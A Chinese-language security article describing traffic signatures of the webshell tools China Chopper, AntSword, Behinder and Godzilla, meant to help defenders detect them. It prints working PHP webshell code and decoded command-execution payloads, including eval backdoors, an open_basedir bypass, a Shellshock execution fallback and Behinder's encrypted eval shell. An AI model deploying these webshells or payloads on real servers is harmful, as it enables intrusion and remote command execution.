前言
识别常见Webshell流量的特征,可帮助我们识别攻击者采取何种webshell工具,以及上传了什么类型的webshell,以下是一些常见的webshell流量特征。
中国菜刀
中国菜刀简介
菜刀主流版本主要是2011版、2014版、2016版。从2011版本到2014版本是功能性上进行了增强,从2014版本到2016版本是在隐秘性上进行了增强,2016版本的菜刀流量加入了混淆。
中国菜刀2011
变量1
@eval(base64_decode($_POST[z0]));
菜刀会默认再上传一个一句话木马进行后续的命令
z0
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1
b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9Y
mFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRS
JdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7
JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOz
tlY2hvKCJ8PC0iKTtkaWUoKTs=
@ini_set("display_errors","0");
//临时关闭PHP的错误显示功能
@set_time_limit(0);
//不限制页面执行时间,防止上传大马时超时
@set_magic_quotes_runtime(0);
//关闭魔术引号,加上反斜杠转义外部导入的特殊字符
echo("->|");;
$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
//函数返回路径中的目录部分
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";@system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}
":"";;echo("|<-");die();
z1
Y21k cmd
z2
Y2QgL2QgIkM6XHhhbXBwXGh0ZG9jc1x1cGxvYWRcdXBsb2FkXCImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd
cd /d "C:\xampp\htdocs\upload\upload\"&whoami&echo [S]&cd&echo [E]
这里的[S]和[E]是用来识别命令执行时的结果,以及当前所在目录,webshell工具中的目录
分析以上可得出其为windows系统的shell,Linux其实跟Windows的差不多
中国菜刀2014
$xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52)
.chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$xx=base64_decode;
$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));
这里/**/表示注释符号,没有意思,可以翻译成:
@eval(base64_decode($_POST[z0]))
Payload
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$m=get_magic_quotes_gpc();
$p=base64_decode($m?stripslashes($_POST["z1"]):$_POST["z1"]);
$s=base64_decode($m?stripslashes($_POST["z2"]):$_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c\"{$s}\"":"/c\"{$s}\"";
$r="{$p}{$c}";
$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));
$fp=proc_open($r." 2>&1",$array,$pipes);
$ret=stream_get_contents($pipes[1]);
proc_close($fp);
print $ret;;
echo("|<-");die();
和2011菜刀不同的点如下:
$m=get_magic_quotes_gpc()
; 判断PHP有没有自动调用addslashes
这个函数。若php调用了addslashes函数,则get_magic_quotes_gpc(),返回true。
默认情况下,PHP指令magic_quotes_gpc为on,对所有的GET、POST和COOKIE数据自动运行addslashes()。
不要对已经magic_quotes_gpc转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc() 进行检测。addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
中国菜刀2016
Payload
array_map
(“ass”.“ert”,array(“ev”.“Al(”\$xx%3D\“Ba”.“SE6”.“4_dEc”.“OdE\”;@ev".“al(\$xx(‘QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JG09Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTskcD0nL2Jpbi9zaCc7JHM9J2NkIC92YXIvd3d3L21hc3Rlci9oYWNrYWJsZS91cGxvYWRzLztpcCBhZGRyO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXSc7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwLDEpPT0iLyI%2FIi1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOyRyPSJ7JHB9IHskY30iOyRhcnJheT1hcnJheShhcnJheSgicGlwZSIsInIiKSxhcnJheSgicGlwZSIsInciKSxhcnJheSgicGlwZSIsInciKSk7JGZwPXByb2Nfb3Blbigkci4iIDI%2BJjEiLCRhcnJheSwkcGlwZXMpOyRyZXQ9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pO3Byb2NfY2xvc2UoJGZwKTtwcmludCAkcmV0OztlY2hvKCJYQFkiKTtkaWUoKTs%3D’));”);"));
基本特征
- 调用
array_map
函数隐藏传输恶意代码。 - 使用"Ba".“SE6”.“4_dEc”."OdE
字符串拼接
,隐藏恶意代码。 - QGluaV9zZXQoImRpc3BsYXlf…,该部分是传递攻击payload,payload依旧使用Base64编码的
@ini_set("display_errors","0");
@set_time_limit(0);
if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};
echo("X@Y");
$m=get_magic_quotes_gpc();
$p='/bin/sh';
$s='cd /var/www/master/hackable/uploads/;ip addr;echo [S];pwd;echo [E]';
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"6"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r."
array_map
:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。可以是自己自定义,也可以选择使用系统自带的比如assert/eval函数,执行命令。
中国菜刀流量特征总结
菜刀2011
2011的特征之后的其他版本都有,但不是大部分明文传输了,特征没2011明显
- 明文传输,部分
Base64(
可解码) - payload以
@ini_set(“display_errors”,“0”)
开头 [S]
和[E]
是用来识别命令执行的结果以及当前所在的目录
菜刀2014
-
chr()
Ascii混淆 -
$m=get_magic_quotes_gpc();
判断PHP有没有自动调用addslashes
这个函数。
addslashes()
函数返回在预定义的字符前添加反斜杠的字符串。
$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));
注释符混淆proc_open
&proc_close
函数用于执行一个命令,并且打开用来输入/输出的文件指针
菜刀2016
array_map
函数隐藏传输恶意代码
字符串拼接
,如"Ba".“SE6”.“4_dEc”."OdE
中国蚁剑
蚁剑流量解码(URL)后的代码
e82b77c74852d3=a6Y2QgIi92YXIvd3d3L21hc3Rlci9oYWNrYWJsZS91cGxvYWRzIjt3aG9hbWk7ZWNobyA3NjVjZTk7cHdkO2VjaG8gYTgzMjI=&k0f695a4c3d7fc=enL2Jpbi9zaA==&pass=@ini_set("display_errors", "0");@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {$oparr = preg_split("/\\\\|\//", $opdir);$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);$tmdir = ".5062e111e";@mkdir($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");for ($i = 0; $i < sizeof($oparr); $i++) {@chdir("..");}@ini_set("open_basedir", "/");@rmdir($ocwd."/".$tmdir);
};function asenc($out) {return $out;
};function asoutput() {$output = ob_get_contents();ob_end_clean();echo "6d29"."1125";echo@ asenc($output);echo "699"."aa2b";
}
ob_start();
try {$p = base64_decode(substr($_POST["k0f695a4c3d7fc"], 2));$s = base64_decode(substr($_POST["e82b77c74852d3"], 2));$envstr = @base64_decode(substr($_POST["u61bc3c18390c2"], 2));$d = dirname($_SERVER["SCRIPT_FILENAME"]);$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";if (substr($d, 0, 1) == "/") {@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");} else {@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");} if (!empty($envstr)) {$envarr = explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r = "{$p} {$c}";function fe($f) {$d = explode(",", @ini_get("disable_functions"));if (empty($d)) {$d = array();} else {$d = array_map('trim', array_map('strtolower', $d));}return (function_exists($f) && is_callable($f) && !in_array($f, $d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c) {$ret = 0;$d = dirname($_SERVER["SCRIPT_FILENAME"]);if (fe('system')) {@system($c, $ret);}elseif(fe('passthru')) {@passthru($c, $ret);}elseif(fe('shell_exec')) {print(@shell_exec($c));}elseif(fe('exec')) {@exec($c, $o, $ret);print(join("", $o));}elseif(fe('popen')) {$fp = @popen($c, 'r');while (!@feof($fp)) {print(@fgets($fp, 2048));}@pclose($fp);}elseif(fe('proc_open')) {$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while (!@feof($io[1])) {print(@fgets($io[1], 2048));}while (!@feof($io[2])) {print(@fgets($io[2], 2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')) {@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d, 0, 1) != "/" && @class_exists("COM")) {$w = new COM('WScript.shell');$e = $w - > exec($c);$so = $e - > StdOut();$ret. = $so - > ReadAll();$se = $e - > StdErr();$ret. = $se - > ReadAll();print($ret);} else {$ret = 127;}return $ret;};$ret = @runcmd($r." 2>&1");print($ret != 0) ? "ret={$ret}" : "";;
} catch (Exception $e) {echo "ERROR://".$e - > getMessage();
};
asoutput();
die(); & u61bc3c18390c2 = pp
关注点
在第一行代码中存在了两个POST请求的内容:分别是e82b77c74852d3
和k0f695a4c3d7fc
,这两个值是没有办法通过base64解码出来的,查看第33
行代码,你会发现这两个值的内容需要从第三个字符才开始取,然后再base64_decode。
e82b77c74852d3
=a6Y2QgIi92YXIvd3d3L21hc3Rlci9oYWNrYWJsZS91cGxvYWRzIjt3aG9hbWk7ZWNobyA3NjVjZTk7cHdkO2VjaG8gYTgzMjI=
k0f695a4c3d7fc
=enL2Jpbi9zaA==
上面两个值,从第三个字符开始取,随后base64解码后得到:
cd "/var/www/master/hackable/uploads";whoami;echo 765ce9;pwd;echo a8322
/bin/sh
特征:
- 蚁剑代码源于中国菜刀,连接流量跟中国菜刀相似,一般情况下也是
base64
一下,但是其扩充性很好,可以进行加密、混淆绕过 PHP类WebShell链接流量
:将蚁剑的正文内容进行URL解码后,流量最中明显的特征为@ini_set (“display_errors”,“0”)。- 蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“
_0x
…=”这种形式(下划线可替换为其他)
冰蝎
冰蝎数据
<?php
@error_reporting(0);
session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }# 这里将已经xor的内容和原始的key进行解亦或处理。}else{$post=openssl_decrypt($post, "AES128", $key);# 这里将aes加密的内容和key进行解密处理。}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);
?>
冰蝎的优点:
- Java开发,支持跨平台运行
- 使用加密隧道传输数据,尽可能避免流量被WAF或IDS设备所捕获
- AES/xor加密
冰蝎2.0
:
- 在连接Webshell的时候会存在一个密钥协商的过程,这个过程是纯明文的数据交换,冰蝎存在这样的特征:发起一共两次的密钥协商,通过比较两次密钥协商的返回包中内容的不同部分来获取其中的密钥。
- 冰蝎在发送HTTP请求时存在一些特征,例如其工具中内置了17个User-Agent头,在用户没有自定义的情况下会随机选择一个发送。但是这些User-Agent头大部分是一些老版本的浏览器或设备。
冰蝎3.0
- 去除动态密钥协商机制,采用预共享密钥,从原理上直接绕过了大量流量检测设备,全程无明文交互,密钥格式为
md5
(“str”),取前16
位- 增加了插件机制,可开发安装自定义扩展插件
- UI框架由awt改为javafx,重写了大量逻辑
- 增强了内网穿透功能,在原有的基于HTTP的socks5隧道基础上,增加了单端口转发功能,可一键将内网端口映射至VPS或者本机端口
总结
冰蝎是一款动态二进制加密的Webshell工具,其流量特征包括:
-
Payload特征
:PHP中使用eval或assert,ASP中在for循环中进行异或处理,JSP中使用Java反射。 -
冰蝎2.0流量特征
:第一阶段请求中返回包状态码为200,返回内容为16位密钥,请求包中存在Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2 -
冰蝎3.0流量特征
:请求包中content-length为5740或5720,请求头中存在Pragma: no-cache,Cache-Control: no-cache 1 -
冰蝎4.0流量特征
- 响应包中的"Transfer-Encoding"字段值必然是"chunked"
- 异或及base64处理的第一个响应包的开头字符为"TxcIQ"
- 疑惑及base64处理的第一个请求包的开头字符为"svfjTI"
哥斯拉
特征
- 参数名固定:哥斯拉的请求参数名通常是
pass
或password
。 - 加密特征 :
AES
加密 - 固定分隔符:检查响应是否以 ->| 开头,以 |<- 结尾。
- …
检测思路
检测Webshell流量的方法包括静态检测、动态检测和日志检测:
-
静态检测:通过匹配特征码、特征值和危险函数来查找Webshell。
-
动态检测:监控HTTP请求,检测异常文件访问和返回200的情况。
-
日志检测:分析Web服务器日志,查找异常的HTTP请求和文件操作